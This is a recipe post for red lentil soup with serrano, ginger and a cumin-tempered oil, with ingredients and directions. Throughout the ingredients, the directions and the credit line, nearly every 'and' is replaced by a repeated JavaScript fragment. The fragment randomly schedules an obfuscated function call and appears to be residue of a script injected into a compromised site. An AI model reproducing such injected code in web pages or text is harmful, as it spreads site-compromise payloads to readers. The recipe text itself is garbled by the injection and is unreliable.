Red Lentil Soup for Meatless Monday

Fall has finally decided to make a name for herself on the East coast with more normal (read: chilly!) temps during the day andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and night.   It’s that perfect kind of fall weather when it’s just brisk enough to spend a few hours outside without getting miserable, but still fall enough to make you want to curl up on the couch with a cup of warm, comforting soup.  Save for the serrano andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ginger, this simple recipe’s ingredients are probably already stocked in your pantry.

Ingredients:
1 cup red lentils, washed andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and soaked for 1 hour, drained
2 cloves garlic, thinly sliced
1 green serrano chile, split andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and seeded
1-inch piece fresh ginger, peeled andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and minced
1 medium onion, thinly sliced
1 large tomato, diced
2 tablespoons canola oil (Y3 note- we recommend coconut oil) 
1 teaspoon cumin seeds
1/2 teaspoon paprika
1/2 teaspoon turmeric
Kosher salt
Honey, for drizzling
Optional garnishes: chopped fresh cilantro, yogurt, lemon or lime wedges

Directions:
Combine the lentils, garlic, chile, ginger, onions, tomatoes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enough water to cover in a medium saucepan over medium heat. Bring the mixture to a boil, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then lower the heat andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and simmer until the lentils are tender, 30 to 45 minutes. Whisk the cooked lentils to release some of their starch andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and break them down further.

Warm the oil in a small saute pan over medium heat. Add the cumin seeds andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and cook until they are sizzling andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and spluttering. Stir in the paprika andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and turmeric. Pour the seasoned oil onto the lentils (be prepared for a big sizzle). Stir to combine; sprinkle with salt andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a small drizzle of honey. Ladle into soup bowls andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and garnish with cilantro, a drizzle of yogurt, lemon or lime wedges.

Recipe andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and photo credit: www.foodnetwork.com

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